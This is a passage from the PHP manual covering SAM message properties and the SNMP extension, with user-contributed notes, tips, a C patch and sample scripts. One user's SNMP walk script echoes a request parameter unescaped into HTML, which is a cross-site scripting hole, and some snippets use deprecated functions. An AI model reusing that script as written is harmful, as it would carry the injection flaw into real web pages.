SAM_BYTE | An 8-bit signed integer value. SAM will attempt to convert the property value specified into a single byte value to pass to the messaging system. If a string value is passed an attempt will be made to interpret the string as a numeric value. If the numeric value cannot be expressed as an 8-bit signed binary value data may be lost in the conversion.
SAM_DOUBLE | A long floating point value. SAM will attempt to convert the property value specified into a floating point value with 15 digits of precision. If a string value is passed an attempt will be made to interpret the string as a numeric value. If the passed value cannot be expressed as a 15 digit floating point value data may be lost in the conversion.
SAM_FLOAT | A short floating point value. SAM will attempt to convert the property value specified into a floating point value with 7 digits of precision. If a string value is passed an attempt will be made to interpret the string as a numeric value. If the passed value cannot be expressed as a 7 digit floating point value data may be lost in the conversion.
SAM_INT | An 32-bit signed integer value. SAM will attempt to convert the property value specified into a 32-bit value to pass to the messaging system. If a string value is passed an attempt will be made to interpret the string as a numeric value. If the numeric value cannot be expressed as an 32-bit signed binary value data may be lost in the conversion.
SAM_LONG | An 64-bit signed integer value. SAM will attempt to convert the property value specified into a 64-bit value to pass to the messaging system. If a string value is passed an attempt will be made to interpret the string as a numeric value. If the numeric value cannot be expressed as an 64-bit signed binary value data may be lost in the conversion.
SAM_STRING | SAM will interpret the property value specified as a string and pass it to the messaging system accordingly.

Examples

Example #3 Setting properties as the sender of a message

<?php
$msg = new SAMMessage('This is a test message');

// defining SAM specific properties...
$msg->header->SAM_REPLY_TO = 'queue://test/replyQueue';

// defining arbitrary properties...
//
// a default string property
$msg->header->myStringProp1 = 'a string property';
// a string property with a type hint
$msg->header->myStringProp2 = array('another string property', SAM_STRING);

// a boolean property
$msg->header->myBoolProp = array(FALSE, SAM_BOOL);

// numeric format properties
$msg->header->myIntProp = array(32768, SAM_INT);
$msg->header->myLongProp = array(9876543, SAM_LONG);
$msg->header->myByteProp1 = array(123, SAM_BYTE);
$msg->header->myByteProp2 = array('12', SAM_BYTE);
$msg->header->myFloatProp = array(3.141592, SAM_FLOAT);
$msg->header->myDoubleProp = array(3.14159265358979, SAM_DOUBLE);
?>

Example #4 Retreiving property values from a message

<?php

// accessing an application specific property
$intProp = $msg->header->MyIntProp;

// accessing a messaging system specific property
$encoding = $msg->header->JMS_IBM_Msgtype;

?>

See Also

  • SAMMessage::body

User Contributed Notes

There are no user contributed notes for this page.
SAMMessage::__construct
SNMP
SAM Functions


SNMP

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • SNMP Functions
    • snmp_get_quick_print — Fetches the current value of the UCD library's quick_print setting
    • snmp_get_valueretrieval — Return the method how the SNMP values will be returned
    • snmp_read_mib — Reads and parses a MIB file into the active MIB tree
    • snmp_set_enum_print — Return all values that are enums with their enum value instead of the raw integer
    • snmp_set_oid_numeric_print — Return all objects including their respective object id within the specified one
    • snmp_set_oid_output_format — Set the OID output format
    • snmp_set_quick_print — Set the value of quick_print within the UCD SNMP library
    • snmp_set_valueretrieval — Specify the method how the SNMP values will be returned
    • snmp2_get — Fetch an SNMP object
    • snmp2_getnext — Fetch the SNMP object which follows the given object id
    • snmp2_real_walk — Return all objects including their respective object ID within the specified one
    • snmp2_set — Set the value of an SNMP object
    • snmp2_walk — Fetch all the SNMP objects from an agent
    • snmp3_get — Fetch an SNMP object
    • snmp3_getnext — Fetch the SNMP object which follows the given object id
    • snmp3_real_walk — Return all objects including their respective object ID within the specified one
    • snmp3_set — Set the value of an SNMP object
    • snmp3_walk — Fetch all the SNMP objects from an agent
    • snmpget — Fetch an SNMP object
    • snmpgetnext — Fetch the SNMP object which follows the given object id
    • snmprealwalk — Return all objects including their respective object ID within the specified one
    • snmpset — Set the value of an SNMP object
    • snmpwalk — Fetch all the SNMP objects from an agent
    • snmpwalkoid — Query for a tree of information about a network entity
  • SNMP — The SNMP class
    • SNMP::close — Close SNMP session
    • SNMP::__construct — Creates SNMP instance representing session to remote SNMP agent
    • SNMP::get — Fetch an SNMP object
    • SNMP::getErrno — Get last error code
    • SNMP::getError — Get last error message
    • SNMP::getnext — Fetch an SNMP object which follows the given object id
    • SNMP::set — Set the value of an SNMP object
    • SNMP::setSecurity — Configures security-related SNMPv3 session parameters
    • SNMP::walk — Fetch SNMP object subtree
  • SNMPException — The SNMPException class

User Contributed Notes

There are no user contributed notes for this page.
SAMMessage::header
Introduction
Other Services


Introduction

The SNMP extension provides a very simple and easily usable toolset for managing remote devices via the Simple Network Management Protocol.

As it is a wrapper around the underlying Net-SNMP (or UCD-SNMP on older systems) library, all basic concepts are the same and the PHP functions change their behaviour depending on the Net-SNMP configuration files and environment variables.

Beginning with PHP 5.4, an OO API is available.

More information about Net-SNMP can be found at » http://www.net-snmp.org/

User Contributed Notes

There are no user contributed notes for this page.
SNMP
Installing/Configuring
SNMP


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
SNMP


Requirements

In order to use the SNMP functions requires installation of the » Net-SNMP package. SNMPv3 functions available only when » OpenSSL package is installed too.

On Windows SNMP functions are only available on NT and not on Win95/98.

Begining with PHP 5.4.0 Net-SNMP version 5.3+ is required for Unix installations and Net-SNMP version 5.4+ for Windows.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

PHP 5.3.0, 5.3.1 and 5.3.2 do not have SNMP support. SNMP support has restored in PHP 5.3.3.

The Windows distribution of Net-SNMP contains support files for SNMP in the mibs directory. This directory should be moved to DRIVE:\usr\mibs, where DRIVE must be replaced with the driveletter where PHP is installed on, e.g.c:\usr\mibs. Alternatively you may set MIBDIRS environment variable pointed to your MIBs folder.

Important notes for PHP prior to 5.4.0: In order to use the UCD SNMP package, you need to define NO_ZEROLENGTH_COMMUNITY to 1 before compiling it. After configuring UCD SNMP, edit config.h or acconfig.h and search for NO_ZEROLENGTH_COMMUNITY. Uncomment the #define line. It should look like this afterwards:

#define NO_ZEROLENGTH_COMMUNITY 1
Now compile PHP --with-snmp[=DIR] .

If you see strange segmentation faults in combination with SNMP commands, you did not follow the above instructions. If you do not want to recompile UCD SNMP, you can compile PHP with the --enable-ucd-snmp-hack switch which will work around the misfeature.

User Contributed Notes

flintjt att hotmail dot com 04-Apr-2011 02:23
For win32 (tested on win XP and 2k3 server 32bit):
Tested with versions 5.3.3 VC9, and 5.3.6 VC9.
The php_snmp.dll, requires that you set the environment variable MIBDIRS pointed to your MIBs folder.
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

For the snmp_set_oid_output_format()
SNMP_OID_OUTPUT_SUFFIX (integer)
As of 5.4.0
SNMP_OID_OUTPUT_MODULE (integer)
As of 5.4.0
SNMP_OID_OUTPUT_FULL (integer)
As of 5.2.0
SNMP_OID_OUTPUT_NUMERIC (integer)
As of 5.2.0
SNMP_OID_OUTPUT_UCD (integer)
As of 5.4.0
SNMP_OID_OUTPUT_NONE (integer)
As of 5.4.0
For the snmp_set_valueretrieval()
SNMP_VALUE_LIBRARY (integer)
SNMP_VALUE_PLAIN (integer)
SNMP_VALUE_OBJECT (integer)
SNMP types as returned if SNMP_VALUE_OBJECT was used with snmp_set_valueretrieval()
SNMP_BIT_STR (integer)
SNMP_OCTET_STR (integer)
SNMP_OPAQUE (integer)
SNMP_NULL (integer)
SNMP_OBJECT_ID (integer)
SNMP_IPADDRESS (integer)
SNMP_COUNTER (integer)
SNMP_UNSIGNED (integer)
SNMP_TIMETICKS (integer)
SNMP_UINTEGER (integer)
SNMP_INTEGER (integer)
SNMP_COUNTER64 (integer)

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
SNMP Functions
SNMP


SNMP Functions

Table of Contents

  • snmp_get_quick_print — Fetches the current value of the UCD library's quick_print setting
  • snmp_get_valueretrieval — Return the method how the SNMP values will be returned
  • snmp_read_mib — Reads and parses a MIB file into the active MIB tree
  • snmp_set_enum_print — Return all values that are enums with their enum value instead of the raw integer
  • snmp_set_oid_numeric_print — Return all objects including their respective object id within the specified one
  • snmp_set_oid_output_format — Set the OID output format
  • snmp_set_quick_print — Set the value of quick_print within the UCD SNMP library
  • snmp_set_valueretrieval — Specify the method how the SNMP values will be returned
  • snmp2_get — Fetch an SNMP object
  • snmp2_getnext — Fetch the SNMP object which follows the given object id
  • snmp2_real_walk — Return all objects including their respective object ID within the specified one
  • snmp2_set — Set the value of an SNMP object
  • snmp2_walk — Fetch all the SNMP objects from an agent
  • snmp3_get — Fetch an SNMP object
  • snmp3_getnext — Fetch the SNMP object which follows the given object id
  • snmp3_real_walk — Return all objects including their respective object ID within the specified one
  • snmp3_set — Set the value of an SNMP object
  • snmp3_walk — Fetch all the SNMP objects from an agent
  • snmpget — Fetch an SNMP object
  • snmpgetnext — Fetch the SNMP object which follows the given object id
  • snmprealwalk — Return all objects including their respective object ID within the specified one
  • snmpset — Set the value of an SNMP object
  • snmpwalk — Fetch all the SNMP objects from an agent
  • snmpwalkoid — Query for a tree of information about a network entity

User Contributed Notes

Andrew Erickson 19-May-2008 11:27
A good resource if you need a basic SNMP tutorial:
http://www.dpstele.com/layers/l2/snmp_l2_tut_part1.php
m_ilhami at yahoo dot com 23-Apr-2008 07:42
If you modify snmp.conf, for example, add your own MIB, you must restart apache server for changes take effect.
maviael dot silva at gmail dot com 30-Jan-2008 05:49
Simple snmp test.

Code:

<h1>SNMP Walk <?php echo @$_REQUEST['addr']; ?></h1>
<?php
    if(isset($_REQUEST['addr'])){
        $res = snmprealwalk($_REQUEST['addr'],'public',null);
        $last = '';
        $open_table = 0;
        while (list($key, $data) = each($res)){
            $dt = explode('::', $key);
            if($dt[0] != $last){
                if($open_table){
                    echo "</table>";
                    $open_table = 0;
                }
                $last = $dt[0];
                echo "<hr><h2>$last</h2>"    ;
                echo "<table>";
                $open_table = 1;
            }
            echo "<tr><td>${dt[1]}</td><td>$data</tr>";
        }
    }else{
?>
    <form action="snmp.php" method="get">
        <input type="text" name="addr" />
        <input type="submit" value="Ok"/>
    </form>
<?php
    }
?>
Chris 01-Nov-2007 01:50
Here's a fresh list of API for SNMPv1, SNMPv2c, and SNMPv3 as of PHP 5.2.4:

SNMPv1
------
string snmpget(string host, string community, string object_id [, int timeout [, int retries]]);

string snmpgetnext(string host, string community, string object_id [, int timeout [, int retries]]);

array snmpwalk(string host, string community, string object_id [, int timeout [, int retries]]);

array snmprealwalk(string host, string community, string object_id [, int timeout [, int retries]]);

bool snmp_get_quick_print(void);

void snmp_set_quick_print(int quick_print);

void snmp_set_enum_print(int enum_print);

void snmp_set_oid_output_format(int oid_format);

int snmpset(string host, string community, string object_id, string type, mixed value [, int timeout [, int retries]]);

SNMPv2c
-------
string snmp2_get(string host, string community, string object_id [, int timeout [, int retries]]);

string snmp2_getnext(string host, string community, string object_id [, int timeout [, int retries]]);

array snmp2_walk(string host, string community, string object_id [, int timeout [, int retries]]);

array snmp2_real_walk(string host, string community, string object_id [, int timeout [, int retries]]);

int snmp2_set(string host, string community, string object_id, string type, mixed value [, int timeout [, int retries]]);

SNMPv3
------
int snmp3_get(string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_protocol, string priv_passphrase, string object_id [, int timeout [, int retries]]);

int snmp3_getnext(string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_protocol, string priv_passphrase, string object_id [, int timeout [, int retries]]);

int snmp3_walk(string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_protocol, string priv_passphrase, string object_id [, int timeout [, int retries]]);

int snmp3_real_walk(string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_protocol, string priv_passphrase, string object_id [, int timeout [, int retries]]);

int snmp3_set(string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_protocol, string priv_passphrase, string object_id, string type, mixed value [, int timeout [, int retries]]);

General
-------
int snmp_set_valueretrieval(int method);

int snmp_get_valueretrieval();

int snmp_read_mib(string filename);

SNMPv3 options
--------------
SNMPv3 offers a different authentication/authorization scheme than previous versions of SNMP.  To aid in using the API listed above, here is a brief explanation of each of the unique parameters used in the snmp3_* functions.

$sec_name - the "username" used for authentication to the system

$sec_level - the authentication scheme ('noAuthNoPriv', 'authNoPriv', or 'authPriv')

$auth_protocol - the encryption protocol used for authentication ('MD5' [default] or 'SHA')

$auth_passphrase - the encrypted key to use as the authentication challenge

$priv_protocol - the encryption protocol used for protecting the protocol data unit ('DES' [default], 'AES128', 'AES192', or 'AES256')

$priv_passphrase - the key to use for encrypting the protocol data unit

There are good code snippets available on http://forums.cacti.net/about5403.html for more information.
cesarmata2000 at cantv dot net 19-Dec-2006 07:59
With that, i can show the mac of my machine, sorry de english...

<?php
//Bug #36196      SNMP_VALUE_PLAIN
snmp_set_valueretrieval(0);
$mac = snmpget("192.168.0.1",'public',".1.3.6.1.2.1.2.2.1.6.x");
snmp_set_valueretrieval(1);

$mac = str_replace('""',"&nbsp;",$mac);
$mac = str_replace('Hex: ',"",$mac);
$mac = str_replace(' ',":",trim($mac));

print $mac;
?>

P.D.: the .x of the OID, is de index of de Interfaz...

Viva Venezuela y el Software Libre.... =CMM=
1413 at blargh dot com 10-Nov-2005 01:29
For my purposes in PHP coding, I have the following SNMP options set, always.  These aren't documented very well in PHP's docs, but they make dealing with the SNMP results a LOT easier:

<?php
// Return back the numeric OIDs, instead of text strings.
snmp_set_oid_numeric_print(1);

// Get just the values.
snmp_set_quick_print(TRUE);

// For sequence types, return just the numbers, not the string and numbers.
snmp_set_enum_print(TRUE);

// Don't let the SNMP library get cute with value interpretation.  This makes
// MAC addresses return the 6 binary bytes, timeticks to return just the integer
// value, and some other things.
snmp_set_valueretrieval(SNMP_VALUE_PLAIN);
?>
Tim 02-Nov-2005 09:42
I had a problem getting mib errors on my php5 and IIS install.  Ended up adding an environmental variable to the Win2k box and that fixed it.  Had to add MIBDIRS=C:\PHP\extras\mibs

After I added this and booted the server I was no longer getting the errors.
ch at westend dot com 20-Oct-2005 12:57
For some devices one needs a string index, i.e.
  activeSessions.activeSession-inputOctets."ABC"

On commandline this is possible with the "-Ir" flag. PHP does not
seem to like it regardless of the quoting. Converting the string index to a numeric OID is quite simple though, it becomes:
  activeSessions.activeSession-inputOctets.3.41.42.43

function getNumericStringIndex($string_idx) {
     $string_idx = substr($string_idx, 1, strlen($string_idx)-2);
     $ret = strlen($string_idx);
     for ($i=0; $i<strlen($string_idx); $i++)
        $ret .= '.'.ord($string_idx[$i]);

     return $ret;
}
Jeroen Simonetti 13-Jun-2005 04:16
The listed functions here use snmp version 1. If you wish to use version 2c or 3, use the following functions:

snmp v2c functions:

snmp2_get (string host, string community, string object_id [, int timeout [, int retries]])
snmp2_getnext (string host, string community, string object_id [, int timeout [, int retries]])
snmp2_walk (string host, string community, string object_id [, int timeout [, int retries]])
snmp2_real_walk (string host, string community, string object_id [, int timeout [, int retries]])
snmp2_set (string host, string community, string object_id, string type, mixed value [, int timeout [, int retries]])

snmp v3 functions:

snmp3_get (string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_pr)
snmp3_getnext (string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string pri)
snmp3_walk (string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_p)
snmp3_real_walk (string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string p)
snmp3_set (string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_pr)
http://mike.eire.ca 29-Mar-2005 12:42
It seems obvious enough in retrospect, but it doesn't say it anywhere in the (rather poor) SNMP functions documentation.

You can use a non-standard port number in the hostname string.

<?php
$data=snmprealwalk('localhost:261','public',null);
?>
tom at tom420 dot cjb dot net 02-Sep-2004 12:52
As of Net-SNMP 5.1.2 the file config.h is now called acconfig.h. This is where you will find and uncomment the line
#define NO_ZEROLENGTH_COMMUNITY 1
as described in the manual above.

I've been looking for the file for about 20 minutes before I located it by the new name.
amit_gupta at users dot sourceforge dot net 16-Jul-2004 06:01
I was struggling to compile PHP 4.3.8/PHP-5 with net-snmp-5.1 RPMS .  It was continously showing errors during make. Later I first complied and installed net-snmp-5.1  on fedora system. With this compiled Net-snmp , I could install PHP 4.3.8/php5 successfully. So if you are also getting error during make command during installation of PHP, first compile net-snmp instaead of using its RPM.

Amit Gupta
peterd at nospam telephonetics co uk 15-Jun-2004 12:37
I've found that when using SNMP on Windows (2000 Pro) the drive the mib files have to be located on actually depends on where you subsequently call PHP from.

For example:
(Assume PHP is installed in c:\\php and the mibs are installed in c:\\usr\\mibs and you have a script c:\\test.php)
Open a command prompt at c:\\
Calling c:\\php\\cli\\php.exe c:\\test.php will work fine.
Change directory to d:\\
Execute c:\\php\\cli\\php.exe c:\\test.php will now cause an error about not finding mib files.

If you now copy the mibs to d:\\usr\\mibs and run the above command again, it will now work fine.

Effectively the drive the mibs has to be on is the same as the drive of the current working directory when you call PHP.

This isn't very useful at all, so after some digging around there seems to be an environment variable (MIBDIRS) you can set specifying where the MIBs are to be found.

After setting MIBDIRS=c:\\php\\mibs in the environment and placing the mibs there, everything seemed to work fine.

Note: If you need SNMP whilst using apache you may have to use the PassEnv command with MIBDIRS in your apache config, I haven't tried this yet.
Sean Boulter 08-Jun-2004 06:01
In addition to working on NT as the documentation says, SNMP works on XP if you have the snmp extensions enabled in the ph.ini file, point the ini file to the correct extensions folder, and copy the mibs from the full install package to c:\usr\mibs.
mcotner at mcotner dot com 24-Feb-2004 10:37
Hi all,
I had a need for mass polling of many devices and bulkgets were very desirable.  It turns out the change was simpler than I thought.

One word of warning, however.  The version is set in such a way that if I were to keep the changes to a minimum all operations that weren't v3 needed to be set to v2c.  This isn't a problem for us because we have no v1 specific devices.  If you're polling any v1 ONLY agents then you will have issues with this patch.

Here's the patch.  I hope this helps.

Just save it to /tmp/patch
cd ext/snmp/
patch snmp.c /tmp/patch

'njoy,
Mark

--- snmp.c    2003-08-07 12:44:11.000000000 -0400
+++ /tmp/snmp.c    2004-02-24 22:03:22.000000000 -0500
@@ -405,7 +405,11 @@
                 RETURN_FALSE;
             }
         } else if (st >= 2) {
-            pdu = snmp_pdu_create(SNMP_MSG_GETNEXT);
+            int reps = 20, non_reps = 0;
+
+            pdu = snmp_pdu_create(SNMP_MSG_GETBULK);
+            pdu->non_repeaters = non_reps;
+            pdu->max_repetitions = reps;    /* fill the packet */
             snmp_add_null_var(pdu, name, name_length);
         }

@@ -471,7 +475,7 @@
                             goto retry;
                         }
                     } else if (st >= 2) {
-                        if ((pdu = snmp_fix_pdu(response, SNMP_MSG_GETNEXT)) != NULL) {
+                        if ((pdu = snmp_fix_pdu(response, SNMP_MSG_GETBULK)) != NULL) {
                             goto retry;
                         }
                     }
@@ -579,7 +583,7 @@

     session.peername = hostname;
     session.remote_port = remote_port;
-    session.version = SNMP_VERSION_1;
+    session.version = SNMP_VERSION_2c;
     /*
     * FIXME: potential memory leak
     * This is a workaround for an "artifact" (Mike Slifcak)
thug at wolf359 dot cjb dot net 22-Apr-2002 12:06
Just a quick note on PHP SNMP instalation on Windows machines (IIS 5.x / Win2k SP2 etc...)
I had installed PHP into C:\PHP.. (standard stuff eh?)

Whilst I had followed the instructions for the installation of SNMP (put php_snmp.dll in extension_dir, uncomment entry in php.ini and all mib files located on the same drive where php was installed  (in this case c:\usr\mibs right?) I still ran into trouble like "Cannot find module (IP-MIB): At line 0 in (none)..." appearing on the bottom of every php that page I was viewing which existed on a drive other than C:\ drive...

It seams that the mibs dir (and content thereof) have to be located on every volume where a php file will be executed from.

For example :-
If you have a php file as "C:\INETPUB\WWWROOT\snmp1.php" then the coresponding "C:\USR\MIBS\*.*" has to be present (as mentioned in the install.txt).

Now here comes the catch...

If you have a "D:\INETPUB\PHPROOT\snmp1.php" file, then a copy of the mib files have to be in "D:\USR\MIBS\*.*" as well (the same mib files that are on the C:\ drive and same basic location <drive>:\USR\MIBS).

(Or in short : Copy the C:\USR dir (inc mibs dir) to *every* drive you intend to have .php files accessed from.  Done!)

Hope this helps other PHParians.

Keep up the *Great* work!!!
Predefined Constants
snmp_get_quick_print
SNMP


Fetches the current value of the UCD library's quick_print setting

SNMP Functions
snmp_get_valueretrieval
SNMP Functions
PHP Manual

snmp_get_quick_print

(PHP 4, PHP 5)

snmp_get_quick_print — Fetches the current value of the UCD library's quick_print setting

Description

bool snmp_get_quick_print ( void )

Returns the current value stored in the UCD Library for quick_print. quick_print is off by default.

Return Values

Returns TRUE if quick_print is on, FALSE otherwise.

Examples

Example #1 snmp_get_quick_print() example

<?php
$quickprint = snmp_get_quick_print();
?>

See Also

  • snmp_set_quick_print() - Set the value of quick_print within the UCD SNMP library for a full description of what quick_print does.

User Contributed Notes

antic 23-Feb-2003 05:13
This can be used to parse the returned values depending on the quick print setting. For example sysUpTime might look something like this: "Timeticks: (34575334) 4 days, 0:02:33.34", but if quick print is enabled it will be on the form: "4:0:2:33.34". To get the same output you can parse it differently, something like:

if(@ $sysUpTime = snmpget($switch,$community,"system.sysUpTime.0")){
    if(snmp_get_quick_print()){
       sscanf($sysUpTime, "%d:%d:%d:%d.%d",$day,$hour,$minute,$sec,$ticks);
        $sysUpTime = "$day days, $hour:$minute:$sec.$ticks";
    }else{
       $sysUpTime = ereg_replace("Timeticks: \([0-9]+\) ","",$sysUpTime);
   }
}
SNMP Functions
snmp_get_valueretrieval
SNMP Functions


Return the method how the SNMP values will be returned

snmp_get_quick_print
snmp_read_mib
SNMP Functions
PHP Manual

snmp_get_valueretrieval

(PHP 4 >= 4.3.3, PHP 5)

snmp_get_valueretrieval — Return the method how the SNMP values will be returned

Description

int snmp_get_valueretrieval ( void )

Return Values

OR-ed combitantion of constants ( SNMP_VALUE_LIBRARY or SNMP_VALUE_PLAIN ) with possible SNMP_VALUE_OBJECT set.

Examples

Example #1 Using snmp_get_valueretrieval

<?php
 $ret = snmpget('localhost', 'public', 'IF-MIB::ifName.1');
 if (snmp_get_valueretrieval() & SNMP_VALUE_OBJECT) {
   echo $ret->value;
 } else {
   echo $ret;
 }
?>

See Also

  • snmp_set_valueretrieval() - Specify the method how the SNMP values will be returned
  • Predefined Constants

User Contributed Notes

There are no user contributed notes for this page.
snmp_get_quick_print
snmp_read_mib
SNMP Functions


Reads and parses a MIB file into the active MIB tree

snmp_get_valueretrieval
snmp_set_enum_print
SNMP Functions
PHP Manual

snmp_read_mib

(PHP 5)

snmp_read_mib — Reads and parses a MIB file into the active MIB tree

Description

bool snmp_read_mib ( string $filename )

This function is used to load additional, e.g. vendor specific, MIBs so that human readable OIDs like VENDOR-MIB::foo.1 instead of error prone numeric OIDs can be used.

The order in which the MIBs are loaded does matter as the underlying Net-SNMP libary will print warnings if referenced objects cannot be resolved.

Parameters

filename

The filename of the MIB.

Examples

Example #1 Using snmp_read_mib()

<?php
 print_r( snmprealwalk('localhost', 'public', '.1.3.6.1.2.1.2.3.4.5') );

 snmp_read_mib('./FOO-BAR-MIB.txt');
 print_r( snmprealwalk('localhost', 'public', 'FOO-BAR-MIB::someTable' );
?>

The above example is made up but the results would look like:

Array
(
    [iso.3.6.1.2.1.2.3.4.5.0] => Gauge32: 6
)
Array
(
    [FOO-BAR-MIB::someTable.0] => Gauge32: 6
)

User Contributed Notes

jdhall75 at yahoo dot com 04-Mar-2008 05:50
If you are trying to import mibs with dependencies on other mibs you will have to set the MIBDIRS environment variable.

Unix / Linux: export MIBDIRS=/home/<user>/MIBS:/usr/share/snmp/mibs
Window: Good luck! No really.  Try this url out.  It has everything that you need to know about setting environment vars in windows.

http://vlaurie.com/computers2/Articles/environment.htm
ptitgal at hotmail dot com 28-Feb-2006 02:37
Importing massive Mibs located in a directory
<?php
/******************** Loading Mibs **************/
 $mib_path='YourPath';
 if ($handle = opendir($mib_path))
 { echo "Directory handle: $handle <br>";
    echo "Files: <br>";
    while (false !== ($file = readdir($handle)))
    { if($file!='.')
       { if($file!='..')
          { echo "Read : ";
            echo "$mib_path.$file";
            if(snmp_read_mib($mib_path.'\\'.$file)) echo " Succesful <br>";
            else echo " Failed <br>";
         }
        }
    }
}
closedir($handle);

?>
snmp_get_valueretrieval
snmp_set_enum_print
SNMP Functions


Return all values that are enums with their enum value instead of the raw integer

snmp_read_mib
snmp_set_oid_numeric_print
SNMP Functions
PHP Manual

snmp_set_enum_print

(PHP 4 >= 4.3.0, PHP 5)

snmp_set_enum_print — Return all values that are enums with their enum value instead of the raw integer

Description

bool snmp_set_enum_print ( int $enum_print )

This function toggles if snmpwalk/snmpget etc. should automatically lookup enum values in the MIB and return them together with their human readable string.

Parameters

enum_print

As the value is interpreted as boolean by the Net-SNMP library, it can only be "0" or "1".

Examples

Example #1 Using snmp_set_enum_print()

<?php
 snmp_set_enum_print(0);
 echo snmpget('localhost', 'public', 'IF-MIB::ifOperStatus.3') . "\n";
 snmp_set_enum_print(1);
 echo snmpget('localhost', 'public', 'IF-MIB::ifOperStatus.3') . "\n";
?>

The above would return

 INTEGER: up(1)
 INTEGER: 1

Notes

Note:

snmp_set_enum_print() is only available when using the UCD SNMP library. This function is not available when using the Windows SNMP library.

User Contributed Notes

dbeecher at tekops dot com 15-Jun-2004 12:23
This function is only available if using NET_SNMP.  It is NOT available if using UCD_SNMP.  Likewise UCD_SNMP supports some behaviors that NET_SNMP does not.  (found limitation by looking in php snmp.c file)
snmp_read_mib
snmp_set_oid_numeric_print
SNMP Functions


Return all objects including their respective object id within the specified one

snmp_set_enum_print
snmp_set_oid_output_format
SNMP Functions
PHP Manual

snmp_set_oid_numeric_print

(PHP 4 >= 4.3.0, PHP 5)

snmp_set_oid_numeric_print — Return all objects including their respective object id within the specified one

Description

void snmp_set_oid_numeric_print ( int $oid_format )

This function is an alias of: snmp_set_oid_output_format().

Changelog

Version | Description
5.2.0 | Since PHP 5.2.0.

See Also

  • snmp_set_oid_output_format() - Set the OID output format

User Contributed Notes

sepf at denkfehler dot org 09-Mar-2005 01:08
This function is only available if you are using Net-SNMP.
snmp_set_enum_print
snmp_set_oid_output_format
SNMP Functions


Set the OID output format

snmp_set_oid_numeric_print
snmp_set_quick_print
SNMP Functions
PHP Manual

snmp_set_oid_output_format

(PHP 5 >= 5.2.0)

snmp_set_oid_output_format — Set the OID output format

Description

bool snmp_set_oid_output_format ( int $oid_format = SNMP_OID_OUTPUT_MODULE )

snmp_set_oid_output_format() sets the output format to be full or numeric.

Parameters

oid_format
OID .1.3.6.1.2.1.1.3.0 representation for various oid_format values
SNMP_OID_OUTPUT_FULL | .iso.org.dod.internet.mgmt.mib-2.system.sysUpTime.sysUpTimeInstance
SNMP_OID_OUTPUT_NUMERIC | .1.3.6.1.2.1.1.3.0

Begining from PHP 5.4.0 four additional constants available:

SNMP_OID_OUTPUT_MODULE | DISMAN-EVENT-MIB::sysUpTimeInstance
SNMP_OID_OUTPUT_SUFFIX | sysUpTimeInstance
SNMP_OID_OUTPUT_UCD | system.sysUpTime.sysUpTimeInstance
SNMP_OID_OUTPUT_NONE | Undefined

Return Values

No value is returned.

Notes

Note:

snmp_set_oid_output_format() is only available when using the UCD SNMP library. This function is not available when using the Windows SNMP library.

Examples

Example #1 Using snmprealwalk()

<?php

 snmp_read_mib("/usr/share/mibs/netsnmp/NET-SNMP-TC");

 // default or SNMP_OID_OUTPUT_MODULE in PHP >= 5.3.6
 print_r( snmprealwalk('localhost', 'public', 'RFC1213-MIB::sysObjectID') );

 snmp_set_oid_output_format(SNMP_OID_OUTPUT_NUMERIC);
 print_r( snmprealwalk('localhost', 'public', 'RFC1213-MIB::sysObjectID') );

 snmp_set_oid_output_format(SNMP_OID_OUTPUT_FULL);
 print_r( snmprealwalk('localhost', 'public', 'RFC1213-MIB::sysObjectID') );
?>

The above would output:

 Array
 (
    [RFC1213-MIB::sysObjectID.0] => OID: NET-SNMP-TC::linux
 )
 Array
 (
    [.1.3.6.1.2.1.1.2.0] => OID: .1.3.6.1.4.1.8072.3.2.10
 )
 Array
 (
    [.iso.org.dod.internet.mgmt.mib-2.system.sysObjectID.0] => OID: .iso.org.dod.internet.private.enterprises.netSnmp.netSnmpEnumerations.netSnmpAgentOIDs.linux
 )

User Contributed Notes

ww at 9rivers dot com 30-Dec-2010 08:43
There seems to be more than SNMP_OID_OUTPUT_FULL and SNMP_OID_OUTPUT_NUMERIC.

For example, when I walk on BRIDGE-MIB::dot1dTpFdbPort without setting the output format and var_dump the result, I get output like:

  ["BRIDGE-MIB::dot1dTpFdbPort.'..F8.7'"]=>
  string(2) "52"

When I set it to NUMERIC, I get what I expected:

  [".1.3.6.1.2.1.17.4.3.1.2.244.206.70.56.24.55"]=>
  string(2) "52"

When I set it to FULL, I get even more (line-wrapped manually):

  [".iso.org.dod.internet.mgmt.mib-2 .dot1dBridge.dot1dTp .dot1dTpFdbTable .dot1dTpFdbEntry .dot1dTpFdbPort. '..F8.7'"]=>
  string(2) "52"
snmp_set_oid_numeric_print
snmp_set_quick_print
SNMP Functions


Set the value of quick_print within the UCD SNMP library

snmp_set_oid_output_format
snmp_set_valueretrieval
SNMP Functions
PHP Manual

snmp_set_quick_print

(PHP 4, PHP 5)

snmp_set_quick_print — Set the value of quick_print within the UCD SNMP library

Description

bool snmp_set_quick_print ( bool $quick_print )

Sets the value of quick_print within the UCD SNMP library. When this is set (1), the SNMP library will return 'quick printed' values. This means that just the value will be printed. When quick_print is not enabled (default) the UCD SNMP library prints extra information including the type of the value (i.e. IpAddress or OID). Additionally, if quick_print is not enabled, the library prints additional hex values for all strings of three characters or less.

By default the UCD SNMP library returns verbose values, quick_print is used to return only the value.

Currently strings are still returned with extra quotes, this will be corrected in a later release.

Parameters

quick_print

Return Values

No value is returned.

Examples

Setting quick_print is often used when using the information returned rather than displaying it.

Example #1 Using snmp_set_quick_print()

<?php
